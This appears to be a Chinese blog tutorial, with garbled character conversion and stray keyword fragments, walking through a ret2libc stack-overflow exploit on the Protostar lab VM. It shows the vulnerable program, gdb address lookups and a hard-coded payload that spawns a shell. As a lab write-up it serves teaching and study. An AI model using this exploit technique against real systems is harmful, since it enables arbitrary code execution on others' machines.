在protostar的stack6練習中,提到了ret2libc,因此這裏先對這種攻擊手段作一個介紹,學習來源https://www.shellblade.net/docs/ret2libc.pdf,仍舊是在protostar的虛擬機上進行的實驗。python
在stack4的練習中,咱們用程序中存在的win函數起始地址覆蓋了main函數的返回地址。在實際的攻擊中,攻擊者每每會把本身的shellcode實現導入棧(本地緩衝變量或者環境變量)或堆中(動態分配變量),再將返回地址覆蓋爲shellcode的地址。爲了應對這種攻擊手段,出現了一種機制:W^X,限制了內存區域的操做權限爲可寫或者可執行,在這種狀況下,攻擊者沒法使用本身的shellcode,ret2libc的攻擊手法應運而生。
在ret2libc中,攻擊者再也不使用本身的shellcode,而是把返回地址指向了C標準函數庫中的system()函數(固然也能夠指向其餘函數,可是有system()這個強大的函數…),system()函數接受一個字符串參數,該參數指定要執行的程序的路徑和名稱,這樣就能夠實現任意程序的執行。shell
這個話題在stack4中已經進行過簡單的討論了,這裏再作一次總結。函數
高地址 | caller的本地變量 |
callee的參數 | |
callee的返回地址 | |
EBP | caller的EBP |
ESP | callee的本地變量 |
低地址 |
因此當咱們在callee的棧幀中時,能夠經過操做EBP得到參數和本地變量(固然也能夠用ESP)。佈局
Argument | Offset | Variable | Offset |
Argument 1 | EBP + 8 | Variable 1 | EBP - 4 |
Argument 2 | EBP + 12 | Variable 2 | EBP - 8 |
Argument 3 | EBP + 16 | Variable 3 | EBP - 12 |
Argument N | EBP + 8 + 4*(N-1) | Variable N | EBP - 4N |
$ cat /proc/version Linux version 2.6.32-5-686 (Debian 2.6.32-38) (ben@decadent.org.uk) (gcc version 4.3.5 (Debian 4.3.5-4) ) #1 SMP Mon Oct 3 04:15:24 UTC 2011
1 #include <stdio.h> 2 #include <string.h> 3 void bug(char *arg1) 4 { 5 char name[128]; 6 strcpy(name, arg1); 7 printf("Hello %s\n", name); 8 } 9 int main(int argc, char **argv) 10 { 11 if (argc < 2) 12 { 13 printf("Usage: %s <your name>\n", argv[0]); 14 return 0; 15 } 16 bug(argv[1]); 17 return 0; 18 }
能夠看到在bug函數中,直接使用strcpy將arg1的值賦給大小爲128字節的name變量,這裏會發生棧溢出。學習
1. 找到返回地址的位置編碼
$ gcc -fno-stack-protector bug.c -o bug
得到程序的可執行文件bug,接下來查看程序的反彙編結果,從而判斷怎麼組織payload。spa
1 $ gdb -q bug 2 Reading symbols from /home/user/bug...(no debugging symbols found)...done. 3 (gdb) disas bug 4 Dump of assembler code for function bug: 5 0x080483f4 <bug+0>: push %ebp 6 0x080483f5 <bug+1>: mov %esp,%ebp 7 0x080483f7 <bug+3>: sub $0x98,%esp 8 0x080483fd <bug+9>: mov 0x8(%ebp),%eax 9 0x08048400 <bug+12>: mov %eax,0x4(%esp) 10 0x08048404 <bug+16>: lea -0x88(%ebp),%eax 11 0x0804840a <bug+22>: mov %eax,(%esp) 12 0x0804840d <bug+25>: call 0x8048320 <strcpy@plt> 13 0x08048412 <bug+30>: mov $0x8048530,%eax 14 0x08048417 <bug+35>: lea -0x88(%ebp),%edx 15 0x0804841d <bug+41>: mov %edx,0x4(%esp) 16 0x08048421 <bug+45>: mov %eax,(%esp) 17 0x08048424 <bug+48>: call 0x8048330 <printf@plt> 18 0x08048429 <bug+53>: leave 19 0x0804842a <bug+54>: ret 20 End of assembler dump. 21 (gdb) q
經過分析反彙編的代碼,能夠發現name變量位於$ebp-0x88的位置,看一下棧幀佈局:.net
高地址 | main的本地變量 | |
bug的參數char *arg1 | 4字節 | |
bug的返回地址 | 4字節 | |
EBP | main的EBP | 4字節 |
ESP | bug的本地變量buffer | 136字節 |
低地址 |
因此若是咱們傳入的參數長度爲136+4+4=144字節,就能夠覆蓋bug函數的返回地址:命令行
1 $ gdb -q bug 2 Reading symbols from /home/user/bug...(no debugging symbols found)...done 3 (gdb) r `python -c "print 'A'*136+'B'*4+'C'*4"` 4 Starting program: /home/user/bug `python -c "print 'A'*136+'B'*4+'C'*4"` 5 Hello, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCC 6 7 Program received signal SIGSEGV, Segmentation fault. 8 0x43434343 in ?? () 9 (gdb) q
0x43434343正好是4個'C'的ascii值,說明咱們的分析正確。debug
2. 傳入system()函數的參數
要調用system()函數,要提供對應的參數,這裏咱們使用"/bin/sh"做爲參數,因此須要將字符串"/bin/sh"寫入內存中。有兩種方法:①在傳入參數中包含該字符串;②將字符串存入環境變量中。使用第一種方法,字符串"/bin/sh"會保存到bug的棧幀中,因爲後續咱們會從bug函數返回再調用system()函數,可能會出現覆蓋"/bin/sh"的狀況,因此使用第二種方法更好。
雖然將"/bin/sh"放入了內存中,它的起始地址又應該放在哪裏呢?再次回到棧幀佈局上:
① 假設從bug函數返回後進入了system()函數:
高地址 | main的本地變量 | |
bug的參數char *arg1 | ||
EBP | DUMMY EBP | 本來是system的起始地址,執行了system中的push ebp |
ESP | system的本地變量 | |
低地址 |
② 假設咱們已經進入了system()函數的棧幀,同時但願它的參數是"/bin/sh":
高地址 | main的本地變量 |
system的參數"/bin/sh" | |
system的返回地址 | |
EBP | DUMMY EBP |
ESP | system的本地變量 |
低地址 |
③ 對比①②中的兩個表,能夠得到咱們的payload
原值 | payload |
main的本地變量 | "bin/sh"的起始地址 |
bug的參數char *arg1 | system()的返回地址(exit()的起始地址) |
bug的返回地址 | system()的起始地址 |
main的EBP | "B"*4 |
bug的本地變量 | "A"*136 |
這樣咱們就能夠構造出一個完整的payload了。還有一個小的問題,system()函數的返回地址,這裏咱們使用exit()函數的起始地址,讓程序正常退出。
3. 得到相關地址
首先咱們須要把"/bin/sh"寫入環境變量,代碼:
1 #include <stdio.h> 2 #include <stdlib.h> 3 #include <unistd.h> 4 int main(int argc, char **argv) 5 { 6 char *ptr = getenv("EGG"); 7 if (ptr != NULL) 8 { 9 printf("Estimated address: %p\n", ptr); 10 return 0; 11 } 12 printf("Setting up environment...\n"); 13 setenv("EGG", "/bin/sh", 1); 14 execl("/bin/sh", (char *)NULL); 15 }
編譯後執行兩次,可得到字符串的一個估計地址:
1 $ ./setup 2 Setting up environent... 3 $ ./setup 4 Estimated address: 0xbfffffa9
再得到system()和exit()的地址:
1 $ gdb -q bug 2 Reading symbols from /home/user/bug...(no debugging symbols found)...done. 3 (gdb) break main 4 Breakpoint 1 at 0x804842e 5 (gdb) r 6 Starting program: /home/user/bug 7 8 Breakpoint 1, 0x0804842e in main () 9 (gdb) p system 10 $1 = {<text variable, no debug info>} 0xb7ecffb0 <__libc_system> 11 (gdb) p exit 12 $2 = {<text variable, no debug info>} 0xb7ec60c0 <*__GI_exit>
最後肯定"/bin/sh"的準確地址,這裏0xbfffff89是試出來的:
1 (gdb) x/4s 0xbfffff89 2 0xbfffff89: "ELL=/bin/sh" 3 0xbfffff95: "EGG=/bin/sh" 4 0xbfffffa1: "PWD=/home/user" 5 0xbfffffb0: "SSH_CONNECTION=192.168.60.1 57969 192.168.60.131 22"
再加上"EGG="的偏移量,能夠得到字符串的起始地址,因此:
1 0xb7ecffb0: system() 2 0xb7ec60c0: exit() 3 0xbfffff99: "/bin/sh"
4. 構造payload
Payload = "A"*136+"B"*4+"\xb0\xff\xec\xb7"+"\xc0\x60\xec\xb7"+"\x99\xff\xff\xbf"
注意這裏的字節順序,緣由在以前的文章有提過,由於protostar虛擬機是little endian。
5. 攻擊
這裏還有一個問題,環境變量在gdb和在外界的命令行中的位置仍是有一些差別,看一下輸出結果:
1 $ ./bug `python -c 'print "A"*136+"B"*4+"\xb0\xff\xec\xb7"+"\xc0\x60\xec\xb7"+"\x99\xff\xff\xbf"'` 2 Hello, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB 3 4 sh: n/sh: not found
能夠看到"n/sh"是"/bin/sh"的一部分,須要前移3個字節:
1 $ ./bug `python -c 'print "A"*136+"B"*4+"\xb0\xff\xec\xb7"+"\xc0\x60\xec\xb7"+"\x96\xff\xff\xbf"'` 2 Hello, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB 3 4 $
以上就實現了一次ret2libc攻擊。須要注意的是,在此次攻擊以及protostar中的練習都是直接將地址硬編碼進行payload中,並無考慮到ASLR的狀況,protostar虛擬機已經關閉了ASLR,因此練習才能夠順利完成。